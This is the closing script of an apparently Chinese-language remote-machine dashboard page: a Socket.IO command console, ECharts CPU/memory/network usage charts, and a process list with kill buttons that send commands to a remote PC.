consoleLog.append('<span class="console-log">[' + new Date().toTimeString().slice(0, 8) + '] [' + $('.radio-card.active').data('value') + ']: ' + command + "</span>\n");
|
|
consoleLogArea.scrollTop(consoleLogArea[0].scrollHeight);
|
|
$(this).val('');
|
|
}
|
|
$(this).focus();
|
|
}
|
|
|
|
$('#command-input').keydown(function (e) {
|
|
if (e.keyCode === 13) {
|
|
sendcommand.call(this);
|
|
}
|
|
});
|
|
|
|
socket.on(PCMachineGUID + 'CMDMessage', (message) => {
|
|
var html = ansiToHtml(message);
|
|
consoleLog.append(html);
|
|
consoleLogArea.scrollTop(consoleLogArea[0].scrollHeight);
|
|
$(this).val('');
|
|
});
|
|
|
|
socket.on(PCMachineGUID + 'CMDConnect', (message) => {
|
|
console.log("COMConnect", message);
|
|
document.getElementById('SocketIO_PCMachineGUID').textContent = message["PCMachineGUID"];
|
|
document.getElementById('SocketIO_SID').textContent = message["PCSID"];
|
|
document.getElementById('SocketIO_PCLastSynchronizationTime').textContent = message["PCLastSynchronizationTime"];
|
|
});
|
|
});
|
|
|
|
function updateProgress(type, percent, time) {
|
|
var circle = document.getElementById(type + '-progress');
|
|
var text = document.getElementById(type + '-text');
|
|
var timeElement = document.getElementById(type + '-time');
|
|
// 计算stroke-dashoffset值 (314 = 2πr, r=50)
|
|
var offset = 314 - (314 * percent / 100);
|
|
circle.style.strokeDashoffset = offset;
|
|
// 更新文本
|
|
text.textContent = percent + '%';
|
|
// 更新时间
|
|
timeElement.textContent = time;
|
|
}
|
|
|
|
function alignFileSize(size) {
|
|
if (size <= 0) return 0;
|
|
const units = ['B', 'KB', 'MB', 'GB', 'TB'];
|
|
let exponent = Math.floor(Math.log10(size));
|
|
let alignedSize = Math.pow(10, exponent);
|
|
if (size > alignedSize) {
|
|
alignedSize = Math.pow(10, exponent + 1);
|
|
}
|
|
return alignedSize;
|
|
}
|
|
|
|
|
|
function roundFixed(num, digit = 2) {
|
|
if (!num) {
|
|
return 0;
|
|
}
|
|
if (typeof num !== 'number'){
|
|
return "NaN";
|
|
}
|
|
const parts = num.toString().split('.');
|
|
let integerPart = parts[0];
|
|
let decimalPart = parts[1];
|
|
|
|
if (parts.length <= 1){
|
|
return `${integerPart}.${'0'.repeat(digit)}`;
|
|
}
|
|
|
|
if (decimalPart.length > digit)
|
|
decimalPart = decimalPart.slice(0, digit); // 截取前 digit 位数
|
|
else
|
|
decimalPart.padEnd(digit, '0'); // 自动补0
|
|
return `${integerPart}.${decimalPart}`;
|
|
}
|
|
|
|
// 初始化图表
|
|
const HChart = echarts.init(document.getElementById('CPUChart'));
|
|
|
|
// 存储所有线条的数据
|
|
const chartData = {
|
|
timeData: [],
|
|
lines: {} // 存储每条线的数据 {lineName: {data: [], color: '', config: {}}}
|
|
};
|
|
|
|
// 图表配置
|
|
const option = {
|
|
title: {
|
|
text: '',
|
|
left: 'center'
|
|
},
|
|
tooltip: {
|
|
trigger: 'axis',
|
|
formatter: function(params) {
|
|
let result = params[0].axisValue + '<br/>';
|
|
params.forEach(item => {
|
|
result += `${item.marker} ${item.seriesName}: ${item.value}%<br/>`;
|
|
});
|
|
return result;
|
|
}
|
|
},
|
|
legend: {
|
|
data: [],
|
|
left: 'left'
|
|
},
|
|
grid: {
|
|
left: '3%',
|
|
right: '4%',
|
|
bottom: '3%',
|
|
containLabel: true
|
|
},
|
|
xAxis: {
|
|
type: 'category',
|
|
boundaryGap: false,
|
|
data: chartData.timeData,
|
|
name: '时间'
|
|
},
|
|
yAxis: {
|
|
type: 'value',
|
|
min: 0,
|
|
max: 100,
|
|
interval: 10,
|
|
axisLabel: {
|
|
formatter: '{value}%'
|
|
},
|
|
name: '使用率'
|
|
},
|
|
series: []
|
|
};
|
|
|
|
// 应用配置
|
|
HChart.setOption(option);
|
|
|
|
// 数据更新API
|
|
window.multiLineChart = {
|
|
/**
|
|
* 添加新的线条到图表中
|
|
* @param {string} lineName - 线条名称
|
|
* @param {string} color - 线条颜色 (十六进制或rgb)
|
|
* @param {object} [config] - 可选配置 {showArea: boolean, lineWidth: number, markLine: number, maxPoints: number}
|
|
*/
|
|
addLine: function(lineName, color, config = {}) {
|
|
if (chartData.lines[lineName]) {
|
|
console.warn(`线条 "${lineName}" 已存在`);
|
|
return;
|
|
}
|
|
|
|
// 默认配置
|
|
const defaultConfig = {
|
|
showArea: false,
|
|
lineWidth: 2,
|
|
markLine: null,
|
|
maxPoints: 15 // 默认最多显示15个点
|
|
};
|
|
const mergedConfig = {...defaultConfig, ...config};
|
|
|
|
// 存储线条数据
|
|
chartData.lines[lineName] = {
|
|
data: [],
|
|
color: color,
|
|
config: mergedConfig
|
|
};
|
|
|
|
// 创建series配置
|
|
const newSeries = {
|
|
name: lineName,
|
|
type: 'line',
|
|
data: [],
|
|
smooth: true,
|
|
lineStyle: {
|
|
width: mergedConfig.lineWidth
|
|
},
|
|
itemStyle: {
|
|
color: color
|
|
}
|
|
};
|
|
|
|
// 添加区域填充
|
|
if (mergedConfig.showArea) {
|
|
newSeries.areaStyle = {
|
|
color: new echarts.graphic.LinearGradient(0, 0, 0, 1, [
|
|
{ offset: 0, color: this._addAlphaToColor(color, 0.8) },
|
|
{ offset: 1, color: this._addAlphaToColor(color, 0.1) }
|
|
])
|
|
};
|
|
}
|
|
|
|
// 添加警戒线
|
|
if (mergedConfig.markLine !== null) {
|
|
newSeries.markLine = {
|
|
silent: true,
|
|
data: [{
|
|
yAxis: mergedConfig.markLine,
|
|
lineStyle: {
|
|
color: '#ff4500',
|
|
width: 1,
|
|
type: 'dashed'
|
|
},
|
|
label: {
|
|
formatter: lineName + '警戒线',
|
|
position: 'start'
|
|
}
|
|
}]
|
|
};
|
|
}
|
|
|
|
// 更新图表配置
|
|
const currentOption = HChart.getOption();
|
|
currentOption.legend[0].data.push(lineName);
|
|
currentOption.series.push(newSeries);
|
|
HChart.setOption(currentOption);
|
|
|
|
// 返回线条控制对象
|
|
return {
|
|
addData: (value) => this._addDataToLine(lineName, value),
|
|
remove: () => this.removeLine(lineName)
|
|
};
|
|
},
|
|
|
|
/**
|
|
* 向指定线条添加数据点
|
|
* @param {string} lineName - 线条名称
|
|
* @param {number} value - 数据值
|
|
* @param {string} [time] - 可选时间戳
|
|
*/
|
|
addData: function(lineName, value, time) {
|
|
this._addDataToLine(lineName, value, time);
|
|
},
|
|
|
|
/**
|
|
* 添加时间点数据(所有线条共享同一时间轴)
|
|
* @param {object} data - {lineName1: value1, lineName2: value2}
|
|
* @param {string} [time] - 可选时间戳
|
|
*/
|
|
addTimePoint: function(data, time) {
|
|
const now = new Date();
|
|
const timeStr = time || `${now.getHours()}:${now.getMinutes()}:${now.getSeconds()}`;
|
|
|
|
// 添加时间点
|
|
chartData.timeData.push(timeStr);
|
|
|
|
// 为每条线添加数据
|
|
Object.keys(data).forEach(lineName => {
|
|
if (chartData.lines[lineName]) {
|
|
const lineConfig = chartData.lines[lineName].config;
|
|
chartData.lines[lineName].data.push(data[lineName]);
|
|
|
|
// 限制数据长度不超过配置的maxPoints
|
|
if (chartData.lines[lineName].data.length > lineConfig.maxPoints) {
|
|
chartData.lines[lineName].data.shift();
|
|
}
|
|
}
|
|
});
|
|
|
|
// 限制时间数据长度(以最长线条的maxPoints为准)
|
|
const maxPoints = Math.max(...Object.values(chartData.lines).map(line => line.config.maxPoints));
|
|
if (chartData.timeData.length > maxPoints) {
|
|
chartData.timeData.shift();
|
|
}
|
|
|
|
// 更新图表
|
|
this._updateChart();
|
|
},
|
|
|
|
/**
|
|
* 移除指定线条
|
|
* @param {string} lineName - 线条名称
|
|
*/
|
|
removeLine: function(lineName) {
|
|
if (!chartData.lines[lineName]) {
|
|
console.warn(`线条 "${lineName}" 不存在`);
|
|
return;
|
|
}
|
|
|
|
// 从数据中移除
|
|
delete chartData.lines[lineName];
|
|
|
|
// 更新图表配置
|
|
const currentOption = HChart.getOption();
|
|
currentOption.legend[0].data = currentOption.legend[0].data.filter(name => name !== lineName);
|
|
currentOption.series = currentOption.series.filter(series => series.name !== lineName);
|
|
HChart.setOption(currentOption);
|
|
},
|
|
|
|
/**
|
|
* 重置所有数据
|
|
*/
|
|
reset: function() {
|
|
chartData.timeData = [];
|
|
Object.keys(chartData.lines).forEach(lineName => {
|
|
chartData.lines[lineName].data = [];
|
|
});
|
|
this._updateChart();
|
|
},
|
|
|
|
/**
|
|
* 更新Y轴配置
|
|
* @param {object} config - {min: number, max: number, name: string}
|
|
*/
|
|
setYAxis: function(config) {
|
|
HChart.setOption({
|
|
yAxis: config
|
|
});
|
|
},
|
|
|
|
// 私有方法:向指定线条添加数据
|
|
_addDataToLine: function(lineName, value, time) {
|
|
if (!chartData.lines[lineName]) {
|
|
console.error(`线条 "${lineName}" 不存在`);
|
|
return;
|
|
}
|
|
|
|
const now = new Date();
|
|
const timeStr = time || `${now.getHours()}:${now.getMinutes()}:${now.getSeconds()}`;
|
|
const lineConfig = chartData.lines[lineName].config;
|
|
|
|
// 如果是第一个数据点,确保时间轴同步
|
|
if (chartData.lines[lineName].data.length === 0 && chartData.timeData.length > 0) {
|
|
// 用最新的时间点
|
|
chartData.lines[lineName].data = Array(chartData.timeData.length - 1).fill(null);
|
|
chartData.lines[lineName].data.push(value);
|
|
} else {
|
|
// 添加时间点(如果这是第一条线)
|
|
if (Object.keys(chartData.lines).length === 1 && chartData.lines[lineName].data.length === chartData.timeData.length) {
|
|
chartData.timeData.push(timeStr);
|
|
|
|
// 限制时间数据长度
|
|
if (chartData.timeData.length > lineConfig.maxPoints) {
|
|
chartData.timeData.shift();
|
|
}
|
|
}
|
|
|
|
// 添加数据
|
|
chartData.lines[lineName].data.push(value);
|
|
|
|
// 限制数据长度
|
|
if (chartData.lines[lineName].data.length > lineConfig.maxPoints) {
|
|
chartData.lines[lineName].data.shift();
|
|
}
|
|
}
|
|
|
|
// 更新图表
|
|
this._updateChart();
|
|
},
|
|
|
|
// 私有方法:更新图表数据
|
|
_updateChart: function() {
|
|
const seriesUpdate = Object.keys(chartData.lines).map(lineName => ({
|
|
name: lineName,
|
|
data: chartData.lines[lineName].data
|
|
}));
|
|
|
|
HChart.setOption({
|
|
xAxis: {
|
|
data: chartData.timeData
|
|
},
|
|
series: seriesUpdate
|
|
});
|
|
},
|
|
|
|
// 私有方法:为颜色添加透明度
|
|
_addAlphaToColor: function(color, alpha) {
|
|
if (color.startsWith('rgb')) {
|
|
return color.replace(')', `, ${alpha})`).replace('rgb', 'rgba');
|
|
} else if (color.startsWith('#')) {
|
|
const r = parseInt(color.substr(1, 2), 16);
|
|
const g = parseInt(color.substr(3, 2), 16);
|
|
const b = parseInt(color.substr(5, 2), 16);
|
|
return `rgba(${r}, ${g}, ${b}, ${alpha})`;
|
|
}
|
|
return color;
|
|
}
|
|
};
|
|
|
|
// 添加线条时指定maxPoints为15
|
|
const networkLine = multiLineChart.addLine('网络负载', '#FF9800', {
|
|
showArea: true,
|
|
markLine: 85,
|
|
maxPoints: 15
|
|
});
|
|
|
|
const cpuLine = multiLineChart.addLine('CPU使用率', '#3a4de9', {
|
|
showArea: true,
|
|
markLine: 80,
|
|
maxPoints: 15
|
|
});
|
|
|
|
const memoryLine = multiLineChart.addLine('内存使用率', '#4CAF50', {
|
|
showArea: true,
|
|
markLine: 85,
|
|
maxPoints: 15
|
|
});
|
|
|
|
socket.on(PCMachineGUID + 'CMDRMonitor', (message) => {
|
|
console.log(message.monitor);
|
|
updateProgress('cpu', message.monitor.cpu.usage, message.monitor.time);
|
|
$('#cpu-info').text('占用: ' + message.monitor.cpu.usage + '% / 核心: ' + message.monitor.cpu.core);
|
|
|
|
updateProgress('memory', message.monitor.mem.percent, message.monitor.time);
|
|
$('#memory-info').text('占用: ' + (message.monitor.mem.used / GB_SIZE).toFixed(2) + 'GB / ' + (message.monitor.mem.total / GB_SIZE).toFixed(2) + "GB");
|
|
|
|
updateProgress('network', roundFixed((message.monitor.net.sent+message.monitor.net.recv) / alignFileSize(message.monitor.net.sent+message.monitor.net.recv) * 100), message.monitor.time);
|
|
$('#network-info').text('上行: ' + message.monitor.net.sent.toFixed(2) + 'KB/s 下行: ' + message.monitor.net.recv.toFixed(2) + 'KB/s 模拟极限: ' + alignFileSize(message.monitor.net.sent+message.monitor.net.recv) + 'KB');
|
|
|
|
cpuLine.addData(message.monitor.cpu.usage);
|
|
memoryLine.addData(message.monitor.mem.percent);
|
|
networkLine.addData(roundFixed((message.monitor.net.sent+message.monitor.net.recv) / alignFileSize(message.monitor.net.sent+message.monitor.net.recv) * 100));
|
|
});
|
|
|
|
socket.on(PCMachineGUID + 'CMDRProcess', (message) => {
|
|
console.log(message);
|
|
// 使用Layui
|
|
layui.use(['jquery', 'layer'], function(){
|
|
var $ = layui.jquery;
|
|
var layer = layui.layer;
|
|
|
|
// 模拟初始数据
|
|
window.tasks = message.process;
|
|
|
|
// 渲染任务卡片
|
|
function renderTasks() {
|
|
var container = $('#taskContainer');
|
|
container.empty();
|
|
|
|
tasks.forEach(function(task) {
|
|
var card = `
|
|
<div class="task-card" data-name="${task.name}">
|
|
<div class="task-header">
|
|
<div class="task-name">${task.name}</div>
|
|
</div>
|
|
<div class="task-desc">${task.desc}</div>
|
|
<div class="task-progress">
|
|
<div>进度: ${task.progress}%</div>
|
|
<div class="progress-bar">
|
|
<div class="progress-value" style="width: ${task.progress}%"></div>
|
|
</div>
|
|
</div>
|
|
<div class="task-actions">
|
|
<button class="stop-btn" onclick="stopTask('${task.name}')">终止</button>
|
|
</div>
|
|
</div>
|
|
`;
|
|
container.append(card);
|
|
});
|
|
}
|
|
|
|
// 初始化渲染
|
|
renderTasks();
|
|
|
|
// 全局函数 - 停止任务
|
|
window.stopTask = function(name) {
|
|
// 直接停止任务,不需要确认
|
|
// var index = tasks.findIndex(t => t.name === name);
|
|
//if (index !== -1) {
|
|
// tasks.splice(index, 1);
|
|
// renderTasks();
|
|
// layer.msg('已终止任务: ' + name, {icon: 1});
|
|
//}
|
|
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": "ProcessKill", "Command": name});
|
|
layer.msg("已发送指令,稍后...");
|
|
};
|
|
|
|
// 全局函数 - 更新任务进度 (API)
|
|
window.updateTaskProgress = function(name, progress) {
|
|
var task = tasks.find(t => t.name === name);
|
|
if (task) {
|
|
// 更新进度
|
|
task.progress = progress;
|
|
|
|
// 找到对应的DOM元素
|
|
var card = $(`.task-card[data-name="${name}"]`);
|
|
if (card.length) {
|
|
// 更新进度文本
|
|
card.find('.task-progress > div:first').text('进度: ' + progress + '%');
|
|
|
|
// 动画更新进度条
|
|
card.find('.progress-value').css('width', progress + '%');
|
|
|
|
// 根据进度改变颜色
|
|
var progressBar = card.find('.progress-value');
|
|
if (progress >= 80) {
|
|
progressBar.css('background-color', '#5FB878'); // 绿色
|
|
} else if (progress >= 50) {
|
|
progressBar.css('background-color', '#1E9FFF'); // 蓝色
|
|
} else {
|
|
progressBar.css('background-color', '#FFB800'); // 黄色
|
|
}
|
|
}
|
|
}
|
|
};
|
|
|
|
// 全局函数 - 添加任务 (API)
|
|
window.addTask = function(name, desc, progress) {
|
|
if (tasks.some(t => t.name === name)) {
|
|
console.error('任务名称已存在');
|
|
return false;
|
|
}
|
|
|
|
tasks.push({
|
|
name: name,
|
|
desc: desc || '暂无描述',
|
|
progress: progress || 0
|
|
});
|
|
renderTasks();
|
|
return true;
|
|
};
|
|
});
|
|
});
|
|
|
|
socket.on(PCMachineGUID + 'CMDRMESSAGE', (message) => {
|
|
if (message.level == "error") {
|
|
Toast.error("ERROR", message.message);
|
|
}
|
|
if (message.level == "info") {
|
|
Toast.info("INFO", message.message);
|
|
}
|
|
if (message.level == "success") {
|
|
Toast.success("SUCCESS", message.message);
|
|
}
|
|
if (message.level == "warning") {
|
|
Toast.warning("WARNING", message.message);
|
|
}
|
|
if (message.level == "debug") {
|
|
Toast.debug("DEBUG", message.message);
|
|
}
|
|
if (message.level == "unknown") {
|
|
Toast.unknown("UNKNOWN", message.message);
|
|
}
|
|
});
|
|
</script>
|
|
</body>
|
|
|
|
</html>
|